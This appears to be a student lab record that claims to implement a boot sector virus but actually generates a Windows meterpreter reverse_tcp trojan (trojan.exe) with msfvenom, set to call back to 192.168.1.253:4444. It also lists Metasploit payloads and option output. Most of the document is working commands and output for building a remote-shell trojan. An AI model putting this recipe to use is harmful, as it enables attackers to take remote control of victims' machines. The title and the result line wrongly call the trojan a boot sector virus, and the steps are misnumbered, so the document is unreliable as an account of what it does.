

IMPLEMENT THE BOOT SECTOR VIRUS

AIM:

To implement boot sector virus.

PROCEDURE:

Select Root Terminal Emulator

Step 1: Update and Upgrade Kali Linux

Open the terminal and type in : **sudo apt-get update**

Next, type in: **sudo apt-get upgrade**

Step 3: Fix any errors

If you see this, it means that bundler is either set up incorrectly or hasn't been updated.

To fix this, change the current directory (file) to `usr/share/metasploit-framework` by typing in:

```
>> cd /usr/share/metasploit-framework/
```

from the root directory. If you make a mistake, you can type in

```
>> cd ..
```

to go back to the previous directory or type in any directory after `cd` to go there.

3. Now that we are in the `metasploit-framework` directory, type in

```
>> gem install bundler
```

to install bundler, then type in

```
>> bundle install
```

4. If bundler is not the correct version, you should get a message telling you which version to install (in this case it was 1.17.3). Type in

```
>> gem install bundler:[version number]
```

and then type in : **gem update --system**

After all of that, everything should work perfectly.

```
>> cd /root
```

to go back to the root directory.

Step 2: Open exploit software

Open up the terminal and type in : **msfvenom**

Step 4: Choose our payload

To see a list of payloads : **msfvenom -l payloads**

Step 5: Customize our payload

msfvenom --list-options -p windows/meterpreter/reverse_tcp

Step 6: Generate the virus

Now that we have our payload, ip address, and port number, we have all the information that we need.

Type in:

Syntax:

msfvenom -p [payload] LHOST=[your ip address] LPORT=[the port number] -f [file type] > [path]

Example

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe

If we look in our files using ls, we see that our new file pops up.

OUTPUT:

1. msfvenom

```
(kali@kali)~$ msfvenom
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
-l, --list           <type>      List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload       <payload>    Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options      <payload>    List --payload <value>'s standard, advanced and evasion options
-f, --format        <format>     Output format (use --list formats to list)
-e, --encoder       <encoder>    The encoder to use (use --list encoders to list)
--service-name      <value>     The service name to use when generating a service binary
--sec-name          <value>     The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest          <value>     Generate the smallest possible payload using all available encoders
--encrypt           <value>     The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key       <value>     A key to be used for --encrypt
--encrypt-iv        <value>     An initialization vector for --encrypt
-a, --arch          <arch>       The architecture to use for --payload and --encoders (use --list archs to list)
--platform         <platform>   The platform for --payload (use --list platforms to list)
-o, --out           <path>       Save the payload to a file
-b, --bad-chars     <list>       Characters to avoid example: '\x00\xff'
-n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload
--pad-nops          <length>     Use nopsled size specified by -n <length> as the total payload size, auto-prepend a nopsled of quantity (nops minus payload length)
-s, --space         <length>     The maximum size of the resulting payload
--encoder-space     <length>     The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations   <count>      The number of times to encode the payload
-c, --add-code      <path>       Specify an additional win32 shellcode file to include
-x, --template      <path>       Specify a custom executable file to use as a template
-k, --keep          <value>     Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name      <value>     Specify a custom variable name to use for certain output formats
-t, --timeout       <second>     The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help          <value>     Show this message
```

2. msfvenom -l payloads

```
(kali@kali)~$ msfvenom -l payloads
Framework Payloads (951 total) [--payload <value>]

Name                                     Description
-----
aix/ppc/shell_bind_tcp                  Listen for a connection and spawn a command shell
aix/ppc/shell_find_port                 Spawn a shell on an established connection
aix/ppc/shell_interact                  Simply execute /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp               Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http        Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https       Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp         Run a meterpreter server in Android. Connect back stager
android/meterpreter/reverse_https       Connect back to attacker and spawn a Meterpreter shell
android/meterpreter/reverse_tcp         Connect back to attacker and spawn a Meterpreter shell
android/meterpreter/reverse_https       Connect back to the attacker and spawn a Meterpreter shell
android/shell/reverse_http              Spawn a piped command shell (sh). Tunnel communication over HTTP
android/shell/reverse_https             Spawn a piped command shell (sh). Tunnel communication over HTTPS
android/shell/reverse_tcp               Spawn a piped command shell (sh). Connect back stager
apple_ios/aarch64/meterpreter_reverse_https
Run the Meterpreter / Metasploit server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_https
Run the Meterpreter / Metasploit server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_https
Run the Meterpreter / Metasploit server payload (stageless)
apple_ios/aarch64/shell_reverse_tcp     Connect back to attacker and spawn a command shell
apple_ios/armle/meterpreter_reverse_https
Run the Meterpreter / Metasploit server payload (stageless)
apple_ios/armle/meterpreter_reverse_https
Run the Meterpreter / Metasploit server payload (stageless)
apple_ios/armle/meterpreter_reverse_https
Run the Meterpreter / Metasploit server payload (stageless)
apple_ios/armle/meterpreter_reverse_https
Run the Meterpreter / Metasploit server payload (stageless)
bsd/sparc/shell_bind_tcp                Listen for a connection and spawn a command shell
bsd/sparc/shell_reverse_tcp             Connect back to attacker and spawn a command shell
bsd/vax/shell_reverse_tcp               Connect back to attacker and spawn a command shell
bsd/x64/exec                            Execute an arbitrary command
bsd/x64/shell_bind_ipv6_tcp             Listen for a connection and spawn a command shell over IPv6
bsd/x64/shell_bind_tcp                 Bind an arbitrary command to an arbitrary port
bsd/x64/shell_bind_tcp_small            Listen for a connection and spawn a command shell
bsd/x64/shell_reverse_ipv6_tcp          Connect back to attacker and spawn a command shell over IPv6
bsd/x64/shell_reverse_tcp               Connect back to attacker and spawn a command shell
bsd/x64/shell_reverse_tcp_small         Connect back to attacker and spawn a command shell
bsd/x86/exec                            Execute an arbitrary command
bsd/x86/metsvc_bind_tcp                 Stub payload for interacting with a Meterpreter Service
bsd/x86/metsvc_reverse_tcp              Stub payload for interacting with a Meterpreter Service
bsd/x86/shell/bind_ipv6_tcp             Spawn a command shell (staged). Listen for a connection over IPv6
bsd/x86/shell/bind_tcp                 Spawn a command shell (staged). Listen for a connection
bsd/x86/shell/find_tcp                  Spawn a command shell (staged). Use an established connection
bsd/x86/shell/reverse_ipv6_tcp          Spawn a command shell (staged). Connect back to the attacker over IPv6
bsd/x86/shell/reverse_tcp               Spawn a command shell (staged). Connect back to the attacker
bsd/x86/shell_bind_tcp                  Listen for a connection and spawn a command shell
bsd/x86/shell_bind_tcp_ipv6             Listen for a connection and spawn a command shell over IPv6
```

```
Windows/x64/pininject/reverse_tcp_rc4
Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncompressed) import table. PE files with CLR(C#, .NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker (Windows x64)

Windows/x64/pininject/reverse_tcp_uuid
Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncompressed) import table. PE files with CLR(C#, .NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker

Windows/x64/pingback_reverse_tcp
Connect back to attacker and report UUID (Windows x64)

Windows/x64/powershell_bind_tcp
Listen for a connection and spawn an interactive powershell session

Windows/x64/powershell_reverse_tcp
Listen for a connection and spawn an interactive powershell session over SSL

Windows/x64/shell/bind_ipv6_tcp
Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)

Windows/x64/shell/bind_ipv6_tcp_uuid
Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)

Windows/x64/shell/bind_named_pipe
Spawn a piped command shell (Windows x64) (staged). Listen for a pipe connection (Windows x64)

Windows/x64/shell/bind_tcp
Spawn a piped command shell (Windows x64) (staged). Listen for a connection (Windows x64)

Windows/x64/shell/bind_tcp_rc4
Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker

Windows/x64/shell/bind_tcp_uuid
Spawn a piped command shell (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)

Windows/x64/shell/reverse_tcp
Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker (Windows x64)

Windows/x64/shell/reverse_tcp_rc4
Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker

Windows/x64/shell/reverse_tcp_uuid
Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)

Windows/x64/shell/reverse_https
Connect back to attacker and spawn a command shell (Windows x64)

Windows/x64/vncinject/bind_ipv6_tcp
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)

Windows/x64/vncinject/bind_ipv6_tcp_uuid
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)

Windows/x64/vncinject/bind_named_pipe
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Listen for a pipe connection (Windows x64)

Windows/x64/vncinject/bind_tcp
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Listen for a connection (Windows x64)

Windows/x64/vncinject/bind_tcp_rc4
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Connect back to the attacker

Windows/x64/vncinject/bind_tcp_uuid
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)

Windows/x64/vncinject/reverse_http
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)

Windows/x64/vncinject/reverse_https
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Tunnel communication over HTTPS (Windows x64 winhttp)

Windows/x64/vncinject/reverse_tcp
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Connect back to the attacker (Windows x64)

Windows/x64/vncinject/reverse_tcp_rc4
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Connect back to the attacker

Windows/x64/vncinject/reverse_tcp_uuid
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)

Windows/x64/vncinject/reverse_winhttp
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 winhttp)

Windows/x64/vncinject/reverse_winhttp
Inject a VNC DLL via a reflective loader (Windows x64) (staged). Tunnel communication over HTTPS (Windows x64 winhttp)
```

3. msfvenom --list-options -p windows/meterpreter/reverse_tcp

```
(kali@kali)-[~]
└─$ msfvenom --list-options -p windows/meterpreter/reverse_tcp
Error: Invalid option
Msfvenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var-val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
  -l, --list           <type>    List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
  -p, --payload        <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
  --list-options       List --payload <value>'s standard, advanced and evasion options
  -f, --format         <format>  Output format (use --list formats to list)
  -e, --encoder        <encoder> The encoder to use (use --list encoders to list)
  --service-name       <value>   The service name to use when generating a service binary
  --sec-name          <value>   The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
  --smallest           Generate the smallest possible payload using all available encoders
  --encrypt            <value>   The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
  --encrypt-key        <value>   A key to be used for --encrypt
  --encrypt-iv         <value>   An initialization vector for --encrypt
  -a, --arch           <arch>    The architecture to use for --payload and --encoders (use --list archs to list)
  --platform          <platform> The platform for --payload (use --list platforms to list)
  -o, --out            <path>    Save the payload to a file
  -b, --bad-chars      <list>    Characters to avoid example: '\x00\xff'
  -n, --nopsled        <length>  Prepend a nopsled of [length] size on to the payload
  --pad-nops           Use nopsled size specified by --n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
  -s, --space          <length>  The maximum size of the resulting payload
  --encoder-space      <length>  The maximum size of the encoded payload (defaults to the -s value)
  -i, --iterations    <count>   The number of times to encode the payload
  -c, --add-code       <path>   Specify an additional win32 shellcode file to include
  -x, --template       <path>   Specify a custom executable file to use as a template
  -k, --keep           Preserve the --template behaviour and inject the payload as a new thread
  -v, --var-name       <value>  Specify a custom variable name to use for certain output formats
  -t, --timeout        <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
  -h, --help          Show this message
```

4. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe

```
(kali@kali)-[~]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
```

RESULT:

Thus the implementation of boot sector virus executed successfully.